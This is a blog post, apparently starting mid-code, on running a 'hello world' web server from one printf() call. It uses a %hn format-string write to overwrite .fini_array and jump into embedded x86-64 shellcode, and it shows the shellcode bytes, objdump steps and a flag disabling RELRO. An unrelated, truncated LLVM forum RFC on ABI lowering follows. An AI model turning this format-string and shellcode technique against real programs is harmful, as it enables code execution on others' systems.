"\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Raspberry Pi for Out of Band Linux PC management Next Next post: Exploiting the Futex Bug and uncovering Towelroot Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
https://discourse.llvm.org/t/rfc-an-abi-lowering-library-for-llvm/84495?u=nikic | [RFC] An ABI lowering library for LLVM - LLVM Project - LLVM Discussion Forums LLVM Discussion Forums [RFC] An ABI lowering library for LLVM LLVM Project clang , llvm nikic February 7, 2025, 3:10pm 1 A key premise of LLVM is that it provides an abstraction over different targets. A frontend just needs to worry about generating LLVM IR, and then LLVM takes care of everything else, generating highly efficient code for a wide variety of targets. The main area where this premise currently breaks down is target-specific ABI differences, especially concerning the call ABI. Part of the call ABI is handled by LLVM, but a large part of it is a frontend responsibility. There are many different ABIs, with many complex and subtle rules. Failing to implement them correctly will result in miscompilations. Every LLVM-based frontend that wants to expose a C FFI interface currently has to manually implement these ABI rules. Clang implements these in the CodeGen/Targets . We regularly get questions on how to support C FFI on Discord, and for some reason nobody is ever happy about “you have to re-implement these ten thousand lines of Clang code” being the answer. Why doesn’t LLVM “just” handle this? LLVM handles part of the call ABI lowering, such as the assignment of scalar arguments/returns to registers. Why can’t LLVM simply do the right thing for all argument types? The primary reason for this is that the LLVM type system is not expressive enough to make all ABI decisions. Here are a few examples: LLVM does not have a representation for unions at all. LLVM does not have type-level alignment annotations. For example, two otherwise identical structs, but one with an explicit alignment attribute that matches its default alignment , do not have the same ABI. In fact, alignment has to be computed in at least three different ways to satisfy various ABI rules. Do you think __int128 and _BitInt(128) have the same ABI? Think again. Why don’t we extend LLVM’s type system to handle these cases? LLVM generally tries to omit any type information that is not semantically relevant. LLVM will represent both int and unsigned as an i32 . This kind of inherent canonicalization is important for optimization purposes. While directly extending the type system would be a bad idea, it would in principle be possible to convey additional information using attributes/metadata at call-sites and declarations only, similar to how we have the zeroext and signext attributes to distinguish unsigned/signed integers for ABI purposes. Doing this in full generality, providing all the information necessary for struct and union passing, would be significantly harder though, and essentially introduce a second shadow type system into LLVM IR. An additional consideration here is that it is beneficial for optimization purposes if cases where large structures need to be passed in memory, are explicitly represented as such in LLVM IR. For example, this allows optimizing away redundant copies of the memory, etc. LLVM’s IR design is generally very hostile towards working with aggregate SSA values, and our historical trend is to reduce reliance on struct types in IR. Making these first-class citizens would be a substantial shift in optimization philosophy, which goes far beyond ABI questions. Proposal The proposal is to introduce an LLVM ABI lowering library (LLVMABI), which provides information to frontends on how to correctly produce LLVM IR for a specific target. The initial focus of the library would be on call ABI lowering, as this is the hardest part. It can be extended to handle other ABI aspects as well. The high level sketch of how this would look like is: The library will have its own type system, which is independent of both the LLVM IR type system and the Clang type system. The types will support encode exactly as much information as is necessary for correct ABI lowering. The library will provide per-target implementations of ABIInfo , extracting what Clang currently does. The main result of ABI classification will be something like ABIArgInfo , which specifies whether the argument is passed directly, indirectly, etc. The frontend is then responsible for generating LLVM IR based on the ABIArgInfo. Some notes: Clang will be switched to use the new ABI lowering library. I think it’s very important that Clang makes use of it, not just 3rd-party frontends, otherwise we’ll certainly get divergences. Yes, this does mean that Clang will have to lower to an additional type system. My hope is that this will not add a lot of additional overhead if it is cached, but that’s one of the things that remains to be seen. While the motivation here is purely about the C ABI, I think it will be unavoidable to also support the parts of the C++ ABI that relate to the calling convention. The C++ ABI is a minor modification of the C ABI, and I don’t think they can be usefully separated. Layering: I think this library could be implemented completely independently of IR, depending only on Support. But having it depend on IR would probably make it more useful, as we could also provide LLVM IR types where relevant. Implementation I’d like to offer creating a prototype for this as a GSoC project. At this point, I’m mainly looking for some feedback on the general direction, and any insights people familiar with ABI lowering may have. The details of the design will have to be ironed out later. There is an old llvm-abi project, also discussed here , which started implementing this concept out-of-tree. It’s many years out of date now and only support x86, but may serve as inspiration. I think it’s important that the ABI lowering library is in-tree and used by Clang to guarantee continued maintenance. An alternative approach to the call ABI problem has recently been explored in Ideas about C calling convention lowering to LLVM IR . The approach there is to have the frontend attach additional ABI classification metadata, that allows LLVM to perform the ABI lowering. 29 Likes [LLVM] Introduce an ABI lowering library LLVM Weekly - #580, February 10th 2025 Cross-compilation of real(kind=16) makslevental February 8, 2025, 4:02pm 2 nikic: While the motivation here is purely about the C ABI, I think it will be unavoidable to also support the parts of the C++ ABI that relate to the calling convention. The C++ ABI is a minor modification of the C ABI, and I don’t think they can be usefully separated. I can’t authoritatively comment on limitations of either approach (nor the finer points of ABI/conv), as someone that has spent an unreasonable amount of time fiddling with C++ FFI, I would be extremely ( extremely ) interested in supporting this work in any way possible. 2 Likes efriedma-quic February 10, 2025, 8:25pm 3 The primary issue here is that you need to replicate the entire C/C++ type system in order to compute the correct lowering. This includes the types themselves, computing the size/alignment of types, and structure layout. And that’s a lot of work. (We might be able to exclude some parts of the C++ type system related to classes which are always passed indirectly, but we need most of it. There are some weird edge cases, like alignment attributes on typedefs.) Maybe we should use the clang AST library to represent the type system, instead of reimplementing it from scratch? Does this library need to expose a C API, so it can be used by compilers not written in C++? nikic February 11, 2025, 11:04am 4 efriedma-quic: The primary issue here is that you need to replicate the entire C/C++ type system in order to compute the correct lowering. This includes the types themselves, computing the size/alignment of types, and structure layout. And that’s a lot of work. (We might be able to exclude some parts of the C++ type system related to classes which are always passed indirectly, but we need most of it. There are some weird edge cases, like alignment attributes on typedefs.) Right, duplicating the C/C++ type system is the main cost of this proposal. My hope is that the type system we need for ABI lowering can be substantially simpler than what is implemented in clang/AST/Type. Partially because we’re dealing with resolved types at that point (don’t need all the template handling etc) and partially because many things don’t affect the call ABI (like qualifiers). efriedma-quic: Maybe we should use the clang AST library to represent the type system, instead of reimplementing it from scratch? This would mean that frontends which want to make use of this have to add a libclang dependency, which is probably a no-go for anything that only wants to offer C FFI (rather than something that requires ability to parse C++ headers). efriedma-quic: Does this library need to expose a C API, so it can be used by compilers not written in C++? Yes. It’s not an immediate priority, but longer term this should have a C API, just like anything that is needed for frontend IR generation. aengelke February 11, 2025, 1:41pm 5 Re type system duplication: I’d consider using a traits class to wrap existing type representations to reduce the runtime costs. The design should allow for covering Clang’s representation as well as a more simple design, which could be provided by the library (and exposed as C API). Clang is already rather slow, so if a type conversion turns out to have a somewhat substantial cost, I’d rather like to avoid that. Re general usefulness/LLVM integration: I think there’s use in such a library beyond the scope of producing LLVM-IR signatures, in fact, primarily the computation of actual registers and stack offsets is missing. I think it would make sense to include this – and possibly in the long term even to move this out of LLVM. One limitation of LLVM is the lack of flexibility w.r.t. custom calling conventions, so this would be a good opportunity to improve this. (The back-end doesn’t do much with the information anyway, it is only used during instruction selection and discarded afterward.) pogo59 February 11, 2025, 4:25pm 6 I’d hope that the layout parts of the C++ ABI can be kept separate, and clang-only. Maybe that’s asking too much, but my only interactions with the layout part came when the C++ committee decided to change the rules. That feels like it would have nothing at all to do with call ABI. jcranmer February 11, 2025, 7:17pm 7 The library will have its own type system, which is independent of both the LLVM IR type system and the Clang type system. The types will support encode exactly as much information as is necessary for correct ABI lowering. I’ll admit that I’m not a full connoisseur of calling convention ABIs, but I wonder how much a type system we actually need for ABI purposes. Like, we still need an enum to distinguish between int, unsigned, float, etc., sure, but do we need to actually represent a struct as a full struct, or can we get away with a function that takes in a sufficient description of a struct and spits out a “acts as i64/v128/v256/etc. for calling ABI purposes”? I worry a lot about how much effort it would be to convert a struct type to the ABI struct type, and wonder if we can sufficiently describe the ABI without having to actually make a full ABIStructType class. makslevental February 11, 2025, 7:32pm 8 In C++ at least struct definition informs the cconv: If a C++ object has either a non-trivial copy constructor or a non-trivial destructor 11, it is passed by invisible reference (the object is replaced in the parameter list by a pointer that has class POINTER) 12 https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf So it’s not that simple. rnk February 12, 2025, 12:22am 9 Thanks for proposing this, it sounds promising. I wouldn’t worry about the cost of the representation shift as long as the function prototype representations are short-lived and not stored in some kind of global, lives-forever context like LLVMContext of ASTContext . If we can omit as much detail as possible from the ABI type system (think opaque pointers and no C++ direct/virtual base class details), it should be compact, easy to produce, and easy to analyze. Recent ABI bugs involving std::tuple could be avoided if the new representation has a uniform subobject abstraction, instead of having to remember to explicitly iterate over C++ base classes in addition to regular C struct fields. One challenge worth taking seriously up front is inalloca . Going forward, it’s highly likely that we will never see another calling convention that requires this kind of deconstructed call sequence, where the address of future argument slots is made available to user code. However, exposing these memory locations to a mid level optimizer could unlock some valuable performance opportunities, which we touched on in @jyknight ’s RFC. efriedma-quic February 12, 2025, 5:41am 10 jcranmer: acts as i64/v128/v256/etc. for calling ABI purposes A lot of targets have special rules for “homogeneous aggregate” values. x86-64 does something even more complicated where a struct can be passed in mix of integer and fp registers, depending on the field types. Both of these support C++ base classes. Structs also have two different values for alignment, computed using different algorithms. In some cases, it’s even relevant whether a class has a copy assignment operator. And we never know if someone is going to come along with a new target that depends on some new property we never thought about. LLamas February 12, 2025, 5:59pm 11 I wondering if an ABI library is necessary. The contract between the frontend and the backend is essentially broken and non-existent. What has happened is that each target has come up with their own solution and they have distributed the responsibility of the lowering differently. Most notable example of this is system V ABI for x86-64 (typically Linux), where the frontend gets the responsibility of almost everything and that is: split up aggregates in registers manually. track remaining registers for the ABI until “byval” must be used. decompose aggregates into simpler structures, for example floats gets sucked into an integer. The one to one mapping between language parameters and the IR parameters is basically gone. Now compare this with ARM and you’ll see that they have made it much simpler and the abstraction is better. For values up to certain size you use an array with a number of integers. You don’t need to track when the registers run out because the backend does this for you. I thank the people who implemented the ARM version for this as they understood how to make the life a little bit simpler. Microsoft x86-64 is also not that bad. With this in mind, I think it is necessary to setup rules how the frontend should present aggregates to the backend so that it can lower it properly. It was that each target made up its own solution that is the source of the problem we want to solve. akuhl February 13, 2025, 4:46pm 12 Why not implement this as an MLIR Dialect? It seems natural to have a C-Call form in MLIR that correctly implements the calling convention for each platform. MLIR gives you the ability to create a custom type system. The users (Other compiler writers) just have to annotate arguments with a c-type that correctly describes the values they are passing and the lowering pass generates the correct code in the LLVM dialect and saves the compiler writers from reimplementing the lower. This seems a lot more convenient. Note your LLVM ABI Library would still probably be a prerequisite to building such a dialect and could be reused by others for LLVM IR just as you described. Mostly just suggesting what I see as the logical conclusion of your idea. Which I guess is a C MLIR Dialect. nikic February 13, 2025, 8:57pm 13 aengelke: Re type system duplication: I’d consider using a traits class to wrap existing type representations to reduce the runtime costs. The design should allow for covering Clang’s representation as well as a more simple design, which could be provided by the library (and exposed as C API). Clang is already rather slow, so if a type conversion turns out to have a somewhat substantial cost, I’d rather like to avoid that. Interesting idea. I don’t think we can use traits in the sense LLVM usually uses that word, because those require a templated, header-only implementation, and I don’t think that’s feasible here. We could use virtual inheritance though, with some caveats (for example, to make the memory management work out, we’d want sub-type iteration to be callback-based rather than iterator-based). My general inclination here is to try the separate type system first, and fall back to this variant if it turns out to add significant cost. rnk: Thanks for proposing this, it sounds promising. I wouldn’t worry about the cost of the representation shift as long as the function prototype representations are short-lived and not stored in some kind of global, lives-forever context like LLVMContext of ASTContext . The function prototype itself would be short-lived, but my assumption was that the argument/return types would use the “usual” uniqued type system representation, with a cache on the translation from Clang to ABI types. If we make the types ephemeral, we wouldn’t be able to cache the translation, which may be problematic for complex record types. nikic February 13, 2025, 9:50pm 14 @LLamas The differences in the lowering of the x86-64 ABI and the ARM ABIs reflects the differences in the ABIs. The ARM ABI lowering is simpler because the ABI is simpler. The baseline struct ABI just reinterprets the struct in GPR registers. But even then, you still have to take various special cases into account, such as homogeneous aggregates and alignment adjusted types. The x86-64 SysV ABI is more complex than that, mainly because it allows passing aggregates split across GPR and FPR registers. This classification has to occur in the frontend (for example because it applies to unions as well, which are not modeled in LLVM IR). I think the register counting part doesn’t have to be handled in the frontend, but doing it improves optimization quality because byval arguments are exposed at the IR level and can be optimized accordingly. I’m not entirely sure on this point, it’s possible that it is also required for other reasons. In any case, the details here don’t matter all that much, the bottom line is that each ABI tends to have its own special rules that require information that is not represented in LLVM IR, and no matter how you turn this, this is not a problem you can fix by just cleaning up the ABI lowering contract – at least not without substantially increasing the scope of LLVM’s type system. bcardosolopes February 14, 2025, 4:27pm 15 This is a great idea @nikic , thanks for driving this. In ClangIR we have a target lowering library that postpones ABI lowering from codegen, and we’re also using the same information you propose to provide, it would be great if we can also be a consumer of this library in the future! 1 Like nikic February 15, 2025, 12:20pm 16 This should be possible. I think the main constraint this adds is that the result produced by the library should be entirely independent of LLVM IR types (which Clang’s ABIArgInfo currently uses to represent some cases), as in the ClangIR case you wouldn’t be lowering to LLVM IR directly. tmgross February 19, 2025, 11:50pm 17 Would this library eventually be able to handle calling conventions other than the platform default? E.g. Microsoft’s fastcall or vectorcall. Prabhuk March 12, 2025, 10:19pm 18 Highly appreciate this proposal and welcome the direction pursued. I have been working on adding support for a new class of target triples for UEFI (e.g. x86_64-uefi). While doing so, I ran into several instances of Clang code where the ABI decisions are made based on target triple (e.g. Triple::isOSWindows()) instead of a better abstraction that defines ABI information. I have been refactoring such instances where possible. In the current state of Clang code, there are instances which cannot be refactored without a well specified ABI abstraction. My refactorings are carried out with the goal of not littering the Clang code with isUEFI() checks, in the short term. I’d like to know if such refactorings are within the scope of your RFC and if all the ABI related decisions can be made independent of what the target triple is. In the long term, I would like to explore the idea of changing the default ABI for a given target such as UEFI through command-line flags seamlessly. Another potential clean up I see is for data types such as this CallingConv enum which makes no distinction between C++ syntax and C calling convention attributes. I do not know if you view such instances as a problem as well and plan to address them as part of this RFC. 1 Like nikic March 28, 2025, 2:08pm 19 Replying to [LLVM] Introduce an ABI lowering library - #19 by rjmccall here in an attempt to keep discussion more centralized… [LLVM] Introduce an ABI lowering library I don’t think you’re going to be able to come up with a portable concept of “ABI type” that is both (1) significantly less complicated than the Clang AST and (2) captures everything from C that any possible platform might be interested in. I’m not really sure I follow why computing the ABI would require anything even approaching the complexity of the full Clang AST. Surely the ABI calculation does not need a representation of, say, control flow structures? Even if you just meant the Clang AST type representation specifically (which is not separated and likely not reasonably separable), there are many parts that are not ABI relevant, such as anything related to templates, and anything that is ultimately just a pointer for ABI purposes. I also don’t believe that it is necessary to cater to anything a platform might be interested in – it is sufficient to handle what our supported platforms actually need. Sure, someone might decide that T * and const T * should get different ABIs, but this is not the case for real-world ABIs (correct me if I’m wrong), so there is no need for ABI types to know about such qualifiers. [LLVM] Introduce an ABI lowering library Please look at the actual record layout code in Clang for an idea of what has to be supported here. For what it’s worth, I’m primarily interested in just the call ABI at this point, and would probably just pass the record layout as an input to reduce initial scope. Frontends very likely want to implement their own record layout code anyway, because record layout often needs to be available prior to codegen. (It would be nice to still support this for completeness, but it’s much less important.) Apart from bitfield layout – do you have any other examples that both a) introduce a non-trivial amount of additional complexity, and b) are unlikely to be relevant to non-clang frontends? [LLVM] Introduce an ABI lowering library I am very concerned about this approach, because I don’t think there’s a viable path for Clang to adopt it, and 